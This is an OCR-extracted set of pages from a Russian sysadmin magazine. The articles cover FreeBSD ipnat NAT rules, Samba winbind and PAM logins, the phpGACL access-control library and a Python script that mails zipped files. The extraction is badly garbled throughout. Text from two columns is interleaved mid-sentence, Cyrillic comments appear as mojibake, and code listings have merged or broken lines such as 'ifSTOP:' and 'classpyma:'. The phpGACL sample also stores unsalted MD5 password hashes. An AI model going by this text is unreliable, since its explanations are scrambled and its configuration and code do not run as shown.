мы, может быть встроен в ядро, для чего ядро нужно пере- Аналогично правила трансляции адресов записывают-
собрать с опциями IPFILTER и IPFILTER_LOG. Так же ipf ся по умолчанию в файл /etc/ipnat.rules. Запуск ipnat вы-
может быть запущен как модуль. Я воспользуюсь второй полняется командой:
возможностью.
Итак, ядро трогать не будем. Для работы ipnat фильтр # ipnat -CF -f /etc/ipnat.rules
ipf должен быть настроен и запущен. В простейшем случае
достаточно запустить его с парой правил, разрешающих Ключ -C очищает таблицу правил, ключ -F удаляет за-
прохождение любых пакетов, что может быть оправдано в писи из таблицы трансляций. Поскольку ipnat является, по
том случае, если регулирование пакетов вы уже осуществ- сути, частью пакетного фильтра, то никакого перенаправ-
ляете другим фильтром. Правила заносятся по умолчанию ления трафика на вход этого NAT-сервера не требуется. Вхо-
в /etc/ipf.rules: дящие пакеты сначала будут подвергаться трансляции
(пройдут через правила ipnat), затем поступят на вход ipf.
Ôàéë /etc/ipf.rules Исходящие пакеты, наоборот, сначала фильтруются на ipf,
pass in from any to any а что будет пропущено, подвергается трансляции в соот-
pass out from any to any ветствии с правилами ipnat.
20
администрирование
Для автоматического запуска при перезагрузке в /etc/ пример, следующие правила будут поочередно перенаправ-
rc.conf добавьте строчку «ipnat_enable = “YES”». лять входящие запросы то на один, то на другой сервер:
Итак, приступим к рассмотрению правил трансляции. За-
мечу, что, в отличие от ipfw, в ipf и ipnat, правила не нуме- rdr rl0 100.100.100.180/32 port 80 -> 192.168.0.80 ↵
port 8080 tcp round-robin
руются, и их порядок определяется последовательностью rdr rl0 100.100.100.180/32 port 80 -> 192.168.0.81 ↵
загрузки, то есть местом в конфигурационном файле. port 8080 tcp round-robin
Собственно трансляция пакетов, исходящих с машин ло-
кальной сети в Интернет (маскарадинг), осуществляется Опция round-robin заставляет динамически менять по-
правилом map: рядок правил таким образом, что эти правила срабатыва-
ют по очереди.
map rl0 from 192.168.0.0/24 to any -> 100.100.100.101/32 Для контроля за работой ipnat используются два ключа:
-s и -l. Первый выдает общую статистику работы NAT-сер-
Читать его очень просто, почти как на естественном язы- вера:
ке: преобразовывать пакеты, проходящие через интерфейс
rl0, с адресов, принадлежащих указанной подсети, на лю- # ipnat -s
бые адреса, заменив адрес отправителя указанным реаль- mapped in 476 out 460
added 29 expired 27
ным. Если конкретизация адресов назначения не требует- no memory 0 bad nat 0
ся, можно использовать и упрощенный синтаксис: inuse 1
rules 1
map rl0 192.168.0.0/24 -> 100.100.100.101/32 wilds 0
22
администрирование
написано достаточно как на английском, так и на русском. С чты и т. д., потому что не будет требоваться указание доме-
моей точки зрения лучшей является документация, создан- на (user1 вместо MYDOMAIN\user1).
ная самими авторами пакета: «Using Samba», «Official Samba-
3 HOWTO and reference Guide», «Samba-3 by Example». winbind separator = +
Мы рассмотрим только настройки winbindd, необходи-
мые для получения информации из домена Microsoft Этот параметр задает разделитель между доменом и
Windows. Предполагается, что рабочая станция уже явля- именем пользователя. Значением по умолчанию является
ется членом домена. «\», но рекомендуется изменять параметр на что-нибудь дру-
гое, особенно, если планируется использование запросов
template homedir = /usr/home/%U к winbindd в скриптах. Символ «\» воспринимается команд-
ной оболочкой как служебный и обязательно должен быть
Этот параметр определяет «домашний каталог» сетево- «экранирован», то есть отмечен таким образом, чтобы ко-
го пользователя. Winbindd для каждого пользователя, отсут- мандная оболочка воспринимала его как обычный символ.
ствующего в локальной базе, создает запись, по формату При этом «экранирование» может проводиться неоднократ-
совпадающую с форматом записей файла master.passwd. но и определить нужное число символов становится весь-
Для заполнения полей, которые принципиально отсутству- ма нетривиальной задачей. Samba-3 HOWTO рекомендует
ют в домене Microsoft Windows, winbindd использует этот и устанавливать еще два параметра:
подобные ему другие параметры. Макрос %U, как это при-
нято в пакете Samba, обозначает имя пользователя. Ката- winbind enum users = yes
winbind enum groups = yes
лог должен существовать, пользователь должен иметь на
него необходимые права. При создании локальных пользо- По умолчанию эти значения уже установлены в «yes».
вателей все эти действия выполняет команда adduser. Как Если база пользователей большая, рекомендуется отклю-
обеспечить наличие домашнего каталога для сетевого чить перенумерацию, то есть установить значения в «no».
пользователя? Microsoft Windows выполняет это действие На что еще следует обратить внимание:
автоматически. Стандартное решение мне неизвестно, не- ! Samba по умолчанию собирается с winbindd, поэтому во
стандартных же способов есть несколько: время сборки пакета не отключайте эту опцию!
! Завести локального пользователя «_dummy» и вручную ! По умолчанию файлы динамических библиотек nss_win-
копировать домашний каталог всем создаваемым се- bind.so, pam_winbind.so, nss_wins.so и pam_smbpass.so
тевым пользователям с последующим изменением вла- (если его сборка была запрошена опцией PAM_
дельца файлов. SMBPASS) помещаются в каталог /usr/local/lib. Если рас-
! Использовать возможность PAM session. Данный эле- положение каталогов меняется, необходимо убедиться,
мент настроек PAM обычно используется для занесе- что каталог, в котором размещены данные файлы, вхо-
ния записей о начале сессии в файлы utmp/wtmp. дит в LDCONFIG_PATH.
! Берегите базу IDMAP, после того как были розданы пра-
template shell = /bin/tcsh ва на локальные файлы (допустим, создан профиль
KDE, загружены документы, и т. д.). База IDMAP содер-
Это второй параметр, который используется winbindd для жит соответствие между учетной записью домена и ло-
заполнения записи о сетевом пользователе. Если локаль- кальным UID/GID, которые будут вписываться в права
ная работа пользователей с данного компьютера не плани- на файл, как владелец и группа владельцев. Если база
руется, значением данного параметра можно выставить лю- IDMAP была случайно утеряна, то при следующем об-
бую неинтерактивную программу, обычно это /sbin/nologin. ращении она будет создана заново, но соответствие
между учетной записью и UID будет нарушено (первый
dmap gid = 15000-30000 пользователь, о котором была запрошена информация,
idmap uid = 15000-30000
получает UID = idmap uid, второй = idmap uid + 1 и т. д.)
Значения этих параметров очень важны для работы и можно обнаружить, что ваш домашний каталог при-
winbindd. Они задают диапазоны идентификаторов пользо- надлежит другому пользователю. База IDMAP содержит-
вателей и групп, выделяемых для сетевых пользователей. ся в двух файлах – /var/db/samba/winbind_groups.tdb и
В указанных диапазонах не должно существовать локаль- /var/db/samba/winbind_idmap.tdb.
ных пользователей или пользователей YP/NIS.
Настройка NSS выполняется правкой файла настройки
winbind use default domain = true nsswitch.conf. В него следует добавить или изменить сле-
дующие строчки:
Этот параметр определяет, как winbindd будет реагиро-
вать на имя пользователя, не содержащее домена. Если group: files winbind
passwd: files winbind
параметр указан, то winbindd будет подставлять workgroup=
<workgroup_or_domain_name> из smb.conf в качестве име- Более подробную информацию о формате файла
ни домена. Значение этого параметра практически не вли- nsswitch.conf и его возможностях можно получить из man
яет на работу в сети Microsoft Windows, зато значительно nsswitch.conf и главы 21 Samba 3 HOWTO «Winbind: use of
облегчает работу по протоколам ftp, ssh, электронной по- Domain accounts».
24
администрирование
Feb 14 09:04:16 sentry kernel: Feb 14 09:04:16 sentry pam_winbind[43263]: Для включения сервиса proftpd создать файл /etc/pam.d/
request failed: Wrong Password, PAM error was 9, proftpd (можно скопировать стандартный файл ftp), дора-
NT error was NT_STATUS_WRONG_PASSWORD
Feb 14 09:04:16 sentry kernel: Feb 14 09:04:16 sentry pam_winbind[43263]: ботать его так, как описано в разделе «Настройка регист-
user `shelton' denied access (incorrect password or invalid membership) рации с консоли». PAM не требует перезагрузки каких-либо
демонов, поэтому проверить работоспособность конфигу-
Настройка KDM рации можно немедленно:
Если компьютер используется как рабочая станция, то вто-
рой по важности будет возможность запустить графичес- Connected to localhost.granch.ru.
220 Private FTP server by some porgrammer from Granch Ltd.
кую оболочку. В крайнем случае, конечно, можно восполь- Name (localhost:shelton): shelton
зоваться «дедовским» методом и прямо из консольного 331 Password required for shelton.
Password: ********
обработчика команд запустить startx, прописав в .xinitrc 230 User shelton logged in.
«exec startkde» последней строчкой. Поэтому мы копиру- Remote system type is UNIX.
ем файл /etc/pam.d/xdm (стандартный) в /etc/rc.d/kdm и Using binary mode to transfer files.
ftp>
вносим в него изменения, аналогичные описанным выше.
После внесения изменений секция auth-файла /etc/pam.d/ При этом на консоли отображается сообщение pam_
kdm должна выглядеть так: winbind о предоставлении доступа, приводимое выше, а в
файле /var/log/ftpd – регистрация обычного ftp-сеанса.
# auth
auth required pam_nologin.so no_warn
auth sufficient pam_unix.so ↵ Настройка программы xlockmore
no_warn try_first_pass nullok Последним рассмотренным примером будет широко изве-
auth required pam_winbind.so ↵
use_first_pass стная программа блокировки экрана xlockmore, выводящая
при этом различные заставки. Xlockmore содержит около
Логика работы аутентификаторов будет в точности совпа- 50 различных заставок, в том числе трехмерных. При за-
дать с логикой работы, описанной в предыдущем разделе. пуске блокируются клавиатура и экран, и выводится зас-
тавка во время неактивности и пояснительный текст при
Настройка SSH нажатии любой клавиши. (Внизу отображается содержимое
При настройке SSH я позволил себе немножко схитрить. Не файла .signature, если он присутствует в домашнем ката-
стал настраивать PAM для SSH, а вместо этого воспользо- логе). Для разблокировки экрана следует ввести пароль,
вался возможностью SSH-аутентификации по публичному который программа проверяет либо по локальной базе
ключу. Поскольку SSH использует собственный перечень пользователей, либо с использованием PAM.
методов аутентификации, в котором метод publickey идет до Xlockmore по умолчанию не использует PAM. Для вклю-
метода password, проверка доступа с использованием PAM чения его использования необходимо дописать в Makefile
в таком случае не используется. Порядок настройки аутен- порта в строчку CONFIGURE_ARGS ключ --enable-pam и пе-
тификации по публичному ключу изложен в любой докумен- ресобрать программу. При этом следует иметь в виду, что
тации по SSH, а также в статье «Копирование файлов в ав- ключи --enable-pam и --with-xlock-group почему-то являются
томатическом режиме с множества компьютеров через SSH», взаимоисключающими – при их одновременном разреше-
опубликованной в журнале №12, 2004 г. Если же использо- нии сборка программы завершается с ошибкой.
вать методы аутентификации, основанные на PAM, то необ- Для использования PAM следует создать файл /etc/
ходимо создать файл /etc/pam.d/ssh2 (можно скопировать pam.d/xlock (можно скопировать стандартный файл xdm) и
стандартный файл, например, xdm), в который вписать сек- изменить его, как показано в разделе «Настройка регист-
цию auth приведенную выше, последовательность вызова мо- рации с консоли». Следует учитывать то, что программа
дулей проверки доступа. Естественно, SSH должен быть со- пропускает только нажатие клавиши переключения раскла-
бран с поддержкой PAM. Кроме того, конфигурационный док, при этом факт переключения раскладки нигде не ото-
файл сервера должен включать следующие строчки: бражается, все остальные (в том числе Enter, ESC и пр.) –
интерпретируются как часть пароля!
AllowedAuthentications keyboard-interactive
AuthKbdInt.Optional pam
Дополнительное ограничение
а конфигурационный файл клиента: Теперь мы можем регистрироваться в системе с доменной
учетной записью. Но ведь теперь это же могут делать и все
AllowedAuthentications keyboard-interactive пользователи домена! Такая свобода нам вовсе ни к чему,
поэтому настроим дополнительное ограничение – возмож-
ность использования некоторого сервиса только членам
Настройка FTP определенной локальной группы. В этом нам опять помо-
В качестве FTP-сервера я использую ProFTPd из порта ftp/ жет PAM.
proftpd. Поддержка PAM в нем включена по умолчанию. Для Существует стандартный модуль pam_group, который
ее использования нужно добавить в конфигурационный решает именно такую задачу, – аутентификация успешна,
файл сервера proftpd.conf строчку: только если пользователь входит в некую локальную груп-
пу. Если его включить в цепочку аутентификаторов, зада-
AuthPAM on ча должна быть решена.
26
администрирование
КИРИЛЛ СУХОВ
Авторизация, аутентификация – эти проблемы всегда появ- ляет особо сложной задачи. Формируем пользователей и
ляются при разработке многопользовательских веб-прило- на каждый объект системы (в данном случае это веб-стра-
жений. Для их решения применяются различные механиз- ницы, но при более высоком уровне абстракции объектами
мы, которые давно и хорошо известны. Задача контроля прав могут быть и таблицы, и базы данных) устанавливаем пра-
доступа несколько сложнее, а её универсальное решение с ва доступа. В вышеописанном случае сгруппируем эти пра-
произвольным количеством объектов и субъектов, причём с ва в простенькую таблицу:
простым управлением вырастает в довольно серьёзную ра-
боту. Я не раз и не два наблюдал, как программист создал
собственную систему управления правами, да и сам изоб-
рёл пару велосипедов на этом фронте. PhpGACL – это на-
бор функций, призванный если и не решить проблему уп-
равления правами раз и навсегда, то по крайней мере, зна-
чительно её упростить. Он легко встраивается в готовое при-
ложение и позволяет реализовать довольно сложную схему
полномочий пользователей. Объектами доступа могут быть
веб-страницы сайта, базы данных, другие пользователи, хо-
сты и т. д. Для установки не требуется ничего, кроме нали-
чия реляционной базы данных (PostgreSQL, MySQL, Oracle,
Interbase или библиотеки SQLite) и абстрактный класс дос- Недостатки тут не очевидны, наоборот, при такой схе-
тупа к базам данных ADOdb. ме всё кажется явным и прозрачным.
Проблемы начинаются тогда, когда операции с правами
Для чего нужна система пользователей немного выходят за штатный режим. Допус-
управления правами? тим, менеджер по работе с клиентами увольняется или за-
Как пример приложения возьмём веб-интерфейс к клиент- болевает, и его функции (если точнее, его права) необходи-
ской базе некого телекоммуникационного предприятия. До- мо срочно передать кому-то другому, в чьи служебные обя-
ступ к нему в той или иной степени имеют все сотрудники, занности они ранее не входили. Причём системного адми-
с той разницей, что, если такие атрибуты, как ФИО, кон- нистратора, который может назначить эти функции, поковы-
тактные телефоны, email, общедоступны (на чтение), то с рявшись в базе данных «отвёрткой», в данный момент нет
более конфиденциальной информацией, такой как финан- на месте, да и вообще данное ковыряние – по сути, нештат-
совая история, технические детали, могут быть ознакомле- ная операция, которая в нормально организованной систе-
ны только те, кто по своим должностным обязанностям име- ме не должна иметь место. Конечно, можно прописать соот-
ют на это право. Изменять наиболее важные сведения (со- ветствующие права у конкретного объекта доступа, но осо-
стояние лицевого счёта, атрибуты контракта) имеют право бенность подобных систем состоит в том, что пользовате-
лишь несколько сотрудников, несущих ответственность за лей (другими словами, субъектов доступа), как правило, го-
свои действия. Кроме того, есть ещё индивидуальные роли раздо больше, чем объектов. Причём при вышеописанном
– секретарь должен иметь доступ к финансовой истории, матричном подходе (в худшем случае, но случае вполне ре-
чтобы отвечать клиентам на претензии, скажем, по поводу альном) нам придётся определять права всех пользовате-
приостановки услуги за неуплату, он же должен иметь воз- лей при доступе к каждому конкретному объекту. Конечно,
можность изменять некоторые атрибуты клиента (состоя- можно ввести права «по умолчанию», но тогда проблемы
ние услуги, или, скажем, ФИО), системному инженеру дол- возникнут при добавлении нового объекта. Ещё одна про-
жна быть доступна возможность менять сетевые парамет- блема заключается в том, что при реальной работе (ну, ска-
ры и т. д. жем, вышеописанной болезни администратора) бывает так,
Казалось бы, реализовать права доступа не представ- что права доступа к объектам назначать просто некому. Та-
28
администрирование
Как видно из последнего замечания, следует вручную Сразу скажу, что такой ACL выглядит довольно загру-
создать каталог /templates_c в каталоге phpgacl/admin (смысл женно (при небольшом числе субъектов), но phpGacl позво-
данного действия, по-видимому, кроется в возможности за- ляет группировать и комбинировать субъекты, строя сколь
дать права на запись) и перейти по ссылке «Let’s get started!». угодно сложные схемы. Один и тот же ARO может быть чле-
После этого программа установки выведет отчёт о состоя- ном разных групп, в частности, если в вышеприведённом
нии вашей системы и запросит подтверждения. Немножко примере мы решим дать Васе дополнительные полномо-
подумав (для виду), можно согласиться. Если все настрой- чия, можно просто добавить его в группу «отдел биллин-
ки правильны, вы попадаете в интерфейс администратора га»:
системы, где уже можно начинать работу – создавать груп-
пы, пользователей, объекты и разделы. В родном интер-
фейсе phpgacl всё довольно понятно, и я бы не хотел долго
объяснять, на какие кнопки нажимать, лучше остановимся
на организации прав доступа.
Для начала разобьём весь персонал компании на вло-
женные группы и определим ARO:
Как это реализовать на программном уровне? Прежде
всего следует сказать, что phpGACL идентифицирует каж-
дый объект доступа типом объекта (ARO, AXO, ACO) и дву-
мя ключевыми словами – именем раздела и значением.
Раздел – это заданная пользователем общая категория
объекта доступа, значение – название для объекта досту-
па.
Добавление нового элемента в схему происходит сле-
Следующим этапом установим права доступа для дей- дующим образом:
ствий (то есть ACO) для каждой группы или ARO, входящих
в получившееся дерево (в данном случае мы исходим из Äîáàâëåíèå ARO “Ðàçäåë -> Çíà÷åíèå”:
того, что по умолчанию доступ куда бы то ни было запре- “Billing_group -> Vasya”
щён всем). “Managers_group -> Oksana”
Уровень API
На более низком уровне работа приложения с phpgacl про-
Данная схема охватывает все права, но совсем не иде- ходит посредством вызова функций программного интер-
ально построена (напоминает сработанную «на коленке»), фейса.
но это вполне реальный пример, и далее будем отталки- Вот пример из руководства, реализующий простую про-
ваться от него. Теперь рассмотрим любую типовую ситуа- верку логина и пароля:
цию. Скажем Андрей, неожиданно (или ожидаемо) взял от-
пуск. Костя в силу своей загруженности не может целиком // Ïîäêëþ÷àåì áàçîâûé API
include('phpgacl/gacl.class.php');
переложить на себя его обязанности и решает переложить $gacl = new gacl();
их на Женю. Коля по каким-то причинам утратил доверие, $username = $db->quote($_POST['username']);
$password = $db->quote(md5($_POST['password']));
и было принято решение, что он вполне может справляться $sql = 'SELECT name FROM users WHERE name=';
со своей работой, без информации о финансовом положе- $sql .= $username.' AND password='.$password;
$row = $db->GetRow($sql);
нии клиента. Более того, решено, что Вася теперь будет if($gacl->acl_check('system','login','user',$row['name'])){
иметь доступ к счетам клиентов. Действия по изменению $_SESSION['username'] = $row['name'];
return true;
логики доступа, несмотря на некоторое несовершенство на- }
чальной схемы, минимальны. Типовые действия по изме- else
return false;
нению, добавлению прав будут показаны ниже, но в дан-
ном случае важна получившаяся диаграмма доступа (а если Обратите внимание, что здесь используется только один
называть вещи своими именами, ACL – Access Control Lists вызов, а именно функция acl_check(), которая проверяет
дерево), она будет выглядеть так: ARO-объект $row['name'] в ARO-разделе «user» и ACO-объект
«login» в ACO-разделе «system». Надо отметить, что функ-
ции API не входят в официальную документацию, но их опи-
сание доступно в каталоге docs/phpdoc/ дистрибутива.
При написании статьи был использован русский перевод
документации phpgacl (http://php.russofile.ru/phpGACL.html),
выполненный Кузьмой Феськовым.
ПРАКТИКУМ Python:
СЕРГЕЙ СУПРУНОВ
Как вы отправляете по электронной почте файл из Windows? мительно. Теперь я делаю это из FAR командной строкой
Я, например, до недавнего времени делал так: находил нуж- такого вида:
ный файл в дереве каталогов в FAR; набирал в командной
строке «start .», чтобы открыть каталог в «Проводнике»; C:\Temp>send to me file “Ãîäîâîé îò÷åò.doc” as year2004.zip
щелкал по файлу правой кнопкой мыши, выбирал «Add to
archive…»; затем щелкал по полученному файлу архива и По заголовку статьи вы уже поняли, что такого счастья
выбирал «Отправить → Адресат»… В общем, долго и уто- удалось достичь благодаря языку Python, и здесь доста-
30
администрирование
точно подробно описываются предпринятые для этого шаги. self.ZIPNAME = zn = argv[4]
Цель статьи, как обычно, не в описании готового решения if zn.find('*') > -1 or zn.find('?') > -1:
self.ZIPNAME = 'archive.zip'
для «copy – paste», а в том, чтобы показать пути решения
подобных задач. self.ZIPNAME = Unicode(self.ZIPNAME,
pymaconf.fsyscodepage).encode ↵
Итак, с чем нам предстоит столкнуться. Прежде всего (pymaconf.fzipcodepage)
познакомимся с использованием модуля smtplib, входяще- if self.ZIPNAME[-4:] != '.zip':
го в стандартную библиотеку Python, и нужного нам для self.ZIPNAME = self.ZIPNAME + '.zip'
формирования текста почтового сообщения и собственно # âñå îñòàëüíûå ïàðàìåòðû – øàáëîíû ôàéëîâ
для отправки. Вспомним, как работать с zip-архивами. Ну и ifSTOP:
попутно решим некоторые проблемы с кодировками, тра- files = argv[4:STOP]
else:
диционно присущие Windows. files = argv[4:]
Начнем с главного сценария – send.py: if not files:
self.Usage()
import sys, os, glob, myzip, pymaconf # åñëè íóæíî – çàïðîñ òåìû
from mystd import mystdin, mystdout if pymaconf.promptsubj:
from pysender import pysender tmp = raw_input('Subject: ')
if tmp:
В приведенном фрагменте подключаются нужные нам мо- pymaconf.defsubject = tmp
print
дули. Из них sys, os и glob входят в стандартную библиотеку
Python, myzip – слегка модифицированный вариант модуля, # åñëè íóæíî – çàïðîñ ñîîáùåíèÿ
ifpymaconf.promptmess:
который был разработан ранее для операций упаковки фай- tmp = raw_input('Message: ')
лов (см. статью «Автоматизируем FTP с помощью Python», if tmp:
pymaconf.defmessage = tmp
журнал «Системный администратор» №12, декабрь 2004 г.), print
а остальные будут рассмотрены в процессе работы. # Ôóíêöèÿ îïðåäåëåíèÿ ïîëíîãî àäðåñà ïî ïñåâäîíèìó
Чтобы созданные наработки было удобнее использовать def getaddrbyalias(self, addr):
в дальнейшем, оформим функции нашего сценария как abf = os.path.dirname(__file__) + ↵
os.path.sep + 'addrbook.ab'
класс pyma. Этот класс я приведу полностью, снабжая ком- ab = open(abf, 'r').readlines()
ментариями наиболее интересные моменты. Ниже будут aliases = {}
for line in ab:
даны еще некоторые пояснения. alias, fulladdr = line.split()
aliases[alias] = fulladdr
try:
Ëèñòèíã 2. Ñåðåäèíà ñöåíàðèÿ send.py (êëàññ pyma) fulladdr = aliases[addr]
except:
classpyma: fulladdr= addr
# ôóíêöèÿ èíèöèàëèçàöèè – ââîäèì ïåðåìåííûå, return fulladdr
# êîòîðûì íóæíî çàäàòü çíà÷åíèÿ ïî óìîë÷àíèþ
def __init__(self): # Ôóíêöèÿ ôîðìèðîâàíèÿ è îòïðàâêè ñîîáùåíèÿ
self.FLG_NZ = False # áóäåì ëè óïàêîâûâàòü ôàéëû def sendmail(self):
self.ZIPNAME = '' # èìÿ zip-àðõèâà self.parseParameters(*sys.argv)
ifself.FLG_NZ:
# Ôóíêöèÿ ðàçáîðà ïàðàìåòðîâ, ââåäåííûõ â êîìàíäíîé ñòðîêå # åñëè íå óïàêîâûâàòü – îòïðàâêà ôàéëîâ ïî ñïèñêó
def parseParameters(self, *argv): pysender().sendfiles(self.TO, ↵
STOP = 0 self.FILELIST)
# äîëæíî áûòü íå ìåíåå 5 ïàðàìåòðîâ else:
iflen(argv) < 5: # èíà÷å óïàêîâûâàåì ïî ñïèñêó è îòïðàâëÿåì àðõèâ
self.Usage() # (èìÿ ïðîãðàììû + åùå 4) myzip.writepattzip(self.ZIPNAME, ↵
# 1-é îáÿçàòåëüíî «to» self.FILELIST)
if argv[1][:2] != 'to': pysender().sendfiles(self.TO, ↵
self.Usage() (self.ZIPNAME,))
# 3-é îáÿçàòåëüíî «fi[les]» os.remove(self.ZIPNAME)
if argv[3][:2] != 'fi':
self.Usage() # Ôóíêöèÿ âûâîäà ñîîáùåíèÿ î ïðàâèëüíîì ñèíòàêñèñå
self.TO = self.getaddrbyalias(argv[2]) def Usage(self):
# åñëè ïîñëåäíèé ïàðàìåòð íà÷èíàåòñÿ print '''
ifargv[-1][:2] == 'no': Utility for send files by e-mail from command line
# ñ «no», íå óïàêîâûâàòü Usage:
self.FLG_NZ = True send to <addr> files <file1[ file2...]> ↵
STOP = -1 [(nonzipped | as <zip>)]'''
# åñëè ïðåäïîñëåäíèé – «as» sys.exit()
elif argv[-2][:2] == 'as':
# òî ïîñëåäíèé – èìÿ àðõèâà
self.ZIPNAME = argv[-1] То есть этот модуль обеспечивает лишь разбор строки
STOP = -2
# èíà÷å èìÿ àðõèâà – ïî 1-ìó ôàéëó параметров, а сами функции отправки и упаковки разме-
else: щены в других модулях. Обратите внимание на конструк-
32
администрирование
отправки файлов по FTP. Здесь мы не будем к нему воз- param['codepage'] = pymaconf.mailcodepage
вращаться, код этого модуля, как и всех остальных, можно param['message'] = smtplib.base64. ↵
будет скачать с сайта журнала: http://samag.ru/source. Пос- encodestring(param['message'])
ле упаковки функция sendfiles() получает имя созданного msg= self.messagepart % param
архива. Как только отправка завершится, zip-файл будет
удален. # äëÿ êàæäîãî ôàéëà èç ñïèñêà ôîðìèðóåì
# ÷àñòü ñîîáùåíèÿ, îáúÿâëÿþùåãî âëîæåíèå
Вся основная работа выполняется функцией sendfiles() files = ''
модуля pysender. Ниже представлен этот модуль: print 'pysender: MIME-ïðåîáðàçîâàíèå âëîæåíèé:'
for filename in filelist:
files += filename + ','
Ëèñòèíã 5. Ìîäóëü pysender.py param['filename'] = filename
base, ext = os.path.splitext(filename)
# -*- coding: cp1251 -*- param['mimetype'] = ↵
import os, smtplib, pymaconf, pymalog self.getmimetypebyext(ext[1:])
print 'pysender: + %s...' % filename
class pysender:
# Ôóíêöèÿ èíèöèàëèçàöèè ist = open(filename, 'rb').read()
def __init__(self): param['mimed'] = smtplib. ↵
base64.encodestring(ist)
# Ðàçáèðàåì ôàéë mime-òèïîâ. msg = msg + (self.attachpart % param)
mtf = os.path.dirname(__file__) + ↵
os.path.sep + 'mime.types'
mt = open(mtf, 'r').readlines() # îòïðàâêà ñîîáùåíèÿ
self.mimetypes = {} print 'pysender: ñîåäèíåíèå ñ %s...' % ↵
for line in mt: pymaconf.smtpserver
mimetype, mimeext = line[:-1].split() try:
self.mimetypes[mimeext] = mimetype session = smtplib. ↵
SMTP(pymaconf.smtpserver)
# Øàáëîí çàãîëîâêà ïèñüìà, âêëþ÷àÿ òåëî ïèñüìà if pymaconf.authrequire:
messagepart = '''From: %(fromaddr)s session.login ↵
To: %(toaddr)s (pymaconf.authlogin,
Subject: %(subject)s pymaconf. ↵
X-Mailer: PyMa 0.1 authpassword)
MIME-Version: 1.0
Content-Type: multipart/mixed; boundary="%(boundary)s" print 'pysender: ↵
âûïîëíÿåòñÿ îòïðàâêà...'
This is a multi-part message in MIME format. session.sendmail(pymaconf.fromaddr, ↵
envtoaddr, msg)
--%(boundary)s print 'pysender: îòïðàâêà çàâåðøåíà.'
Content-Type: text/plain; charset="%(codepage)s" session.quit()
Content-Transfer-Encoding: Base64
pymalog.write('SENT: %s to %s' % ↵
%(message)s (files, toaddr))
''' except:
print 'pysender: ÎØÈÁÊÀ ÎÒÏÐÀÂÊÈ.'
# Øàáëîí âëîæåíèÿ â ïèñüìå pymalog.write('ERROR: %s to %s' % ↵
attachpart = '''--%(boundary)s (files, toaddr))
Content-Type: %(mimetype)s; name="%(filename)s"
Content-Transfer-Encoding: base64 Центральной частью описанного здесь класса являются
Content-Disposition: attachment; filename="%(filename)s" шаблоны сообщений messagepart и attachpart. В них широко
%(mimed)s''' применяется использование знакомест вида %(key)s, кото-
рые заполняются значениями, соответствующими ключам
# Ôóíêöèÿ âîçâðàùàåò mime-òèï ïî ðàñøèðåíèþ ôàéëà из словаря, указываемого после оператора «%». Например,
# Èñïîëüçóåòñÿ ñëîâàðü, ñôîðìèðîâàííûé âî âðåìÿ строка param[‘message’] будет помещена в шаблон вместо
# èíèöèàëèçàöèè êëàññà
def getmimetypebyext(self, ext): конструкции %(message)s.
try: Шаблоны описывают вид сообщения в формате MIME.
mt = self.mimetypes[ext]
except: Для упрощения работы все, включая тело сообщения, мы
mt = 'application/octet-stream' кодируем в соответствии с Base64, для чего используется
return mt
функция encodestring() класса smtp.base64. Каждое вложе-
ние также преобразовывается согласно Base64 и оформ-
# Ôóíêöèÿ ôîðìèðóåò ñîîáùåíèå è îòïðàâëÿåò åãî
def sendfiles(self, toaddr, filelist): ляется как mime-часть сообщения. Для определения mime-
типа файла по его расширению используется файл соот-
# çàïîëíÿåì ñëîâàðü ïàðàìåòðîâ, èñïîëüçóåìûõ â øàáëîíå
param = {} ветствия mime.types, в качестве которого выступает слег-
param['boundary'] = ↵ ка откорректированный одноименный файл, поставляемый
'-=-=_BOUNDARY_adba_YRADNUOB_=-=-'
param['fromaddr'] = pymaconf.fromaddr вместе с Apache.
if pymaconf.backmail and pymaconf.backaddr: Главное, что нужно в нем сделать, – разбить строки, в
param['toaddr'] = toaddr + ↵
'\nBcc: ' + pymaconf.backaddr которых одному mime-типу ставятся в соответствие несколь-
envtoaddr = [toaddr] ко расширений, таким образом, чтобы в каждой строке
envtoaddr.append(pymaconf.backaddr)
else: фигурировало только одно расширение. Комментарии и
param['toaddr'] = toaddr строки без расширений удаляются. Файл, который исполь-
envtoaddr = [toaddr]
зую я, можно будет найти на сайте журнала в разделе «Ис-
param['subject'] = pymaconf.defsubject ходный код». Если определить mime-тип не удалось, исполь-
param['message'] = pymaconf.defmessage
зуется значение «application/octet-stream».
34
администрирование
pymaconf.termcodepage).encode('cp866') ственно из командной строки менеджера FAR. Благодаря
self.fp.write(fn4zip) использованию функции glob.glob() для формирования спис-
except:
self.fp.write(zinfo.filename) ка файлов мы получили возможность задавать в парамет-
self.fp.write(zinfo.extra) ре files и шаблоны. Например, так мы отправим все файлы,
.. .. .. .. .. ..
имеющие расширение «py»:
Синим выделены добавленные строки, зеленым – ис-
ключенная. То есть здесь мы преобразуем имя файла в нуж- sendtome files *.py as pyma
ную кодировку перед тем, как оно будет записано в файл
архива. Для перекодировки используем функцию Unicode(), Утилита получилась достаточно гибкой – можно указать
которая формирует строку в кодировке UTF, с последую- несколько файлов для отправки (или несколько шаблонов),
щим вызовом функции encode(), которая преобразует задавать имя формируемого архива (по умолчанию исполь-
Unicode-строку в указанную кодировку. зуется имя первого файла или «archive.zip», если первым
Чтобы модуль умел читать собственные творения, по- задан шаблон), отказаться от упаковки и передать файлы
требуются изменения в функцию getinfo(): как есть. «Адресная книга» несколько упрощает ввод ад-
ресов электронной почты, позволяя указывать псевдони-
Ëèñòèíã 9. Èçìåíåíèÿ â ìîäóëå zipfile: getinfo мы для тех адресов, которые вы наиболее часто использу-
def getinfo(self, name): ете. Чтобы не усложнять командную строку, тема и сопро-
"""Return the instance of ZipInfo given 'name'.""" водительный текст сообщения запрашиваются интерактив-
try:
name = unicode(name, ↵ но. При желании такое поведение можно отключить, уста-
'cp866').encode(pymaconf.termcodepage) новив соответствующие переменные в pymaconf.py в ноль.
except:
pass Из недостатков можно указать малоинформативный
return self.NameToInfo[name] вывод сообщений об ошибках, не совсем точное следова-
ние стандартам, несколько громоздкий и неудобный для
и в _RealGetContents(): непосредственного просмотра формат лог-файла. Также в
данной версии не предусмотрена одновременная отправка
Ëèñòèíã 10. Èçìåíåíèÿ â ìîäóëå zipfile: _RealGetContents сразу на несколько адресов. В тело письма сейчас можно
def _RealGetContents(self): поместить только одну строку, поскольку нажатие клави-
"""Read in the table of contents ши Enter прекратит ввод. Однако, как и раньше, исходный
for the ZIP file."""
.. .. .. .. .. .. код всегда доступен, и любой недостаток при наличии вре-
if self.debug > 2: мени и желания можно легко превратить в достоинство.
print centdir
